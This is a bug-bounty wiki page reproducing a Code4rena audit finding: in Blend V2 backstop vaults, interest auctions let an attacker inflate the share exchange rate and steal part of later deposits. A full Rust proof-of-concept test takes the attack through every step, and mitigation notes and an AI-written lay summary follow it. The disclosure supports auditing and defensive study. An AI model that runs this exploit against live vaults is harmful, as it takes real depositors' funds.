Skip to content
Business logic Audit finding Advanced

Interest auctions enable inflation attacks on backstop vaults, allowing attackers to steal user deposits

An attacker can indirectly donate tokens to a newly created backstop vault via interest auctions, inflating the vault's token-to-share exchange rate. This allows the attacker to steal a portion of subsequent deposits through rounding errors.

Tricko Follow with monrel

Originally disclosed on Code4rena

Submitted by Tricko, also found by monrel

An attacker can exploit the interest auction mechanism in a newly created backstop vault to indirectly donate tokens, thereby manipulating the exchange rate between backstop tokens and vault shares. This manipulation can cause rounding errors in future users’ deposits, enabling the attacker to steal a portion of the deposited funds.

Finding description

Inflation attacks are a well-known threat to tokenized vaults. In this type of attack, an attacker donates tokens directly to a vault, increasing the vault’s total underlying tokens. This manipulation distorts the exchange rate between tokens and shares, allowing the attacker to exploit rounding issues and steal funds from future deposits.

Backstop vaults maintain an internal accounting of their underlying tokens, so direct token transfers do not pose a risk in this codebase. However, when filling interest auctions, the pool calls the backstop’s donate() method. This increases the internally accounted tokens of the backstop without increasing its shares, allowing an attacker to indirectly donate to the pool through interest auctions. As a result, an attacker can directly transfer tokens to a pool to falsely simulate significant interest accrual. They can then create and fill a new interest auction, using the donated funds to inflate the vault and carry out the attack. (See the PoC section below.)

Note that during deposits, the backstop’s execute_deposit function checks whether the number of minted shares is zero and reverts the transaction in such cases. This prevents the worst-case scenario where an inflation attack could cause depositors to lose their entire deposit. However, it does not protect against less severe cases of the attack. Deposits larger than the donation amount will result in a nonzero number of minted shares, bypassing this check. But due to rounding errors, a substantial portion of these deposits can still be stolen by the attacker. See the PoC section below for a coded scenario demonstrating how an attacker can steal 9% from the following user deposit.

Proof of Concept

Consider the following series of steps:

  1. The attacker deposits 4 backstop tokens into a newly created backstop. Backstop state: (tokens: 4, shares: 4)
  2. The attacker transfers 10_000 * SCALAR_7 XLM directly to the pool associated with the backstop vault.
  3. The attacker calls the pool’s gulp() method, which assigns the amount deposited in step 1 to reserve.data.backstop_credit.
  4. The attacker initiates an interest auction on the backstop, leveraging the inflated reserve.data.backstop_credit due to step 2.
  5. The attacker waits for one ledger.
  6. The attacker fills the auction. Backstop state: (tokens: 960_000_0004, shares: 4)
  7. A user deposits 1200 * SCALAR_7 backstop tokens into the backstop.
  8. The attacker queues for withdrawal.
  9. The attacker withdraws all of his shares, leaving with a fraction of the user’s deposit as profit.

Attacker Profit: 119_999_9998 User Loss: 119_999_9998 (9% of the initial deposit)

Run the test code below for the above exemplified scenario (Copy the file contents below to a file in blend-contracts-v2/test-suites/tests):

#![cfg(test)]
use pool::{Request, RequestType};
use soroban_sdk::{testutils::Address as _, vec, Address, String};
use test_suites::{
    pool::default_reserve_metadata,
    test_fixture::{TestFixture, TokenIndex, SCALAR_7},
};

#[test]
fn test_inflation_attack() {
    // START OF SETUP //
    let mut fixture = TestFixture::create(false);
    let whale = Address::generate(&fixture.env);
    let sauron = Address::generate(&fixture.env);
    let pippen = Address::generate(&fixture.env);
    // create pool with 1 new reserve
    fixture.create_pool(String::from_str(&fixture.env, "Teapot"), 0, 6, 0);
    let xlm_config = default_reserve_metadata();
    fixture.create_pool_reserve(0, TokenIndex::XLM, &xlm_config);
    let pool_address = fixture.pools[0].pool.address.clone();
    // setup backstop and update pool status
    fixture.tokens[TokenIndex::BLND].mint(&whale, &(5_001_000 * SCALAR_7));
    fixture.tokens[TokenIndex::USDC].mint(&whale, &(121_000 * SCALAR_7));
    fixture.lp.join_pool(
        &(400_000 * SCALAR_7),
        &vec![&fixture.env, 5_001_000 * SCALAR_7, 121_000 * SCALAR_7],
        &whale,
    );
    let starting_balance = 200_000 * SCALAR_7;
    fixture.lp.transfer(&whale, &sauron, &starting_balance);
    fixture.lp.transfer(&whale, &pippen, &starting_balance);

    fixture.tokens[TokenIndex::XLM].mint(&sauron, &starting_balance);
    // END OF SETUP //

    let initial_backstop_state = fixture.backstop.pool_data(&pool_address);
    // Assert that backstop has no deposits
    assert_eq!(initial_backstop_state.tokens, 0);

    // 1. Attacker deposits a small amount as the initial depositor.
    let sauron_deposit_amount = 4;
    let sauron_shares = fixture
        .backstop
        .deposit(&sauron, &pool_address, &sauron_deposit_amount);

    // 2. Attacker transfer 10_000 * SCALAR_7 XLM to the pool.
    let amount = 10_000 * SCALAR_7;
    fixture.tokens[TokenIndex::XLM].transfer(&sauron, &pool_address, &amount);

    let pool = &fixture.pools[0].pool;
    // 3. Attacker calls gulp() to send amounts sent to reserve.data.backstop_credit
    pool.gulp(&fixture.tokens[TokenIndex::XLM].address);

    // 4. Attacker initiates new interest auction.
    pool.new_auction(
        &2u32,
        &fixture.backstop.address,
        &vec![&fixture.env, fixture.lp.address.clone()],
        &vec![
            &fixture.env,
            fixture.tokens[TokenIndex::XLM].address.clone(),
        ],
        &100u32,
    );

    // 5. Attacker waits for one ledger
    fixture.jump_with_sequence(5);

    // 6. Attacker fills the interest auction
    fixture.lp.approve(
        &sauron,
        &fixture.backstop.address,
        &starting_balance,
        &fixture.env.ledger().sequence(),
    );
    let fill_requests = vec![
        &fixture.env,
        Request {
            request_type: RequestType::FillInterestAuction as u32,
            address: fixture.backstop.address.clone(), //address shouldn't matter
            amount: 100,
        },
    ];
    pool.submit(&sauron, &sauron, &sauron, &fill_requests);

    // Assert that donation went to the backstop vault.
    let backstop_state_after_donation = fixture.backstop.pool_data(&pool_address);
    let sauron_donation = 960 * SCALAR_7;
    assert_eq!(backstop_state_after_donation.tokens, sauron_donation + sauron_deposit_amount);

    // 7. User deposits 1200 * SCALAR_7 in the backstop vault.
    let pippen_deposit_amount = 1200 * SCALAR_7;
    let pippen_shares = fixture
        .backstop
        .deposit(&pippen, &pool_address, &pippen_deposit_amount);
    // Assert that pippen received shares
    assert!(pippen_shares > 0);

    // 8. Attacker queues for withdrawal.
    fixture.backstop.queue_withdrawal(&sauron, &pool_address, &sauron_shares);
    fixture.backstop.queue_withdrawal(&pippen, &pool_address, &pippen_shares);
    // Wait withdrawal queue deadline
    fixture.jump_with_sequence(86400 * 17);

    // 9. Attacker withdraws all of his shares
    let sauron_withdrawn_amount = fixture.backstop.withdraw(&sauron, &pool_address, &sauron_shares);
    let sauron_profit = sauron_withdrawn_amount - (sauron_donation + sauron_deposit_amount);
    // Assert that attacker profited from the attack
    assert!(sauron_profit > 0);
    assert_eq!(sauron_profit, 1199999998);

    // User withdraw his shares
    let pippen_withdrawn_amount = fixture.backstop.withdraw(&pippen, &pool_address, &pippen_shares);
    let pippen_loss = pippen_withdrawn_amount - pippen_deposit_amount;
    // Asset that pippen withdraw less tokens than deposited
    assert!(pippen_loss < 0);

    // Sauron profit equals Pippen loss
    assert_eq!(sauron_profit, -pippen_loss);

    // Pippen lost aprox. 9% of his initial deposit
    let pippen_loss_percentage = (-pippen_loss * 100)/pippen_deposit_amount;
    assert_eq!(pippen_loss_percentage, 9)
}

Recommended mitigation steps

There are multiple ways to mitigate this issue. In general, the backstop could either burn shares during its initialization or use virtual shares. Both approaches would significantly increase the cost of the attack for an attacker.

For a more targeted solution within this codebase, a restriction could be implemented to allow interest auctions to be filled only when the backstop vault already has a significant portion of shares minted. This would prevent the attack described above by ensuring that an attacker cannot exploit a newly created backstop with minimal shares.

mootz12 (Script3) confirmed and commented:

Validated this is a finding.

Inflation attacks are harder to pull off repeatedly in the backstop, given the withdraw queue period, and this is also mitigated slightly with prevention of zero mint scenarios.

Blend mitigated:

PR 48.

Status: Mitigation confirmed. Full details in reports from 0xAlix2, oakcobalt, Testerbot and rscodes.

Code4rena judging staff adjusted the severity of finding [M-18], after reviewing additional context provided by the sponsor.


The original report as published on Code4rena, by Tricko. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the backstop vault's donate function increases the token balance without minting new shares, allowing an attacker to manipulate the exchange rate when the vault has very few shares.

Impact

An attacker could steal a portion of other users' deposits, with the report demonstrating a 9% loss for one user; the attack is harder to repeat due to the withdrawal queue period and is partially mitigated by the zero-mint check.

What the attacker needed

Newly created backstop vault; attacker can transfer tokens to pool; attacker can create and fill interest auction; victim deposits after inflation

The fix

The issue was mitigated by implementing a restriction, likely preventing interest auctions from being filled when the backstop vault has few shares, as confirmed in the mitigation review.

How it was found

  1. Attacker deposits a small amount of backstop tokens into a newly created backstop.
  2. Attacker transfers a large amount of XLM directly to the pool.
  3. Attacker calls the pool's gulp() method to assign the transferred amount to backstop_credit.
  4. Attacker initiates an interest auction on the backstop.
  5. Attacker waits for one ledger and then fills the auction, which donates tokens to the backstop vault.
  6. A user deposits tokens into the backstop, receiving fewer shares due to the inflated exchange rate.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A vault is like a shared pot where people put in tokens and get shares representing their portion. An attacker can make the pot seem bigger than it is, so when someone new puts tokens in, they get fewer shares than they should, and the attacker can later take out more than they put in. This is called an inflation attack.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Tricko

View all

3 more disclosed reports, best first.

More from Blend V2 Audit + Certora Formal Verification

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.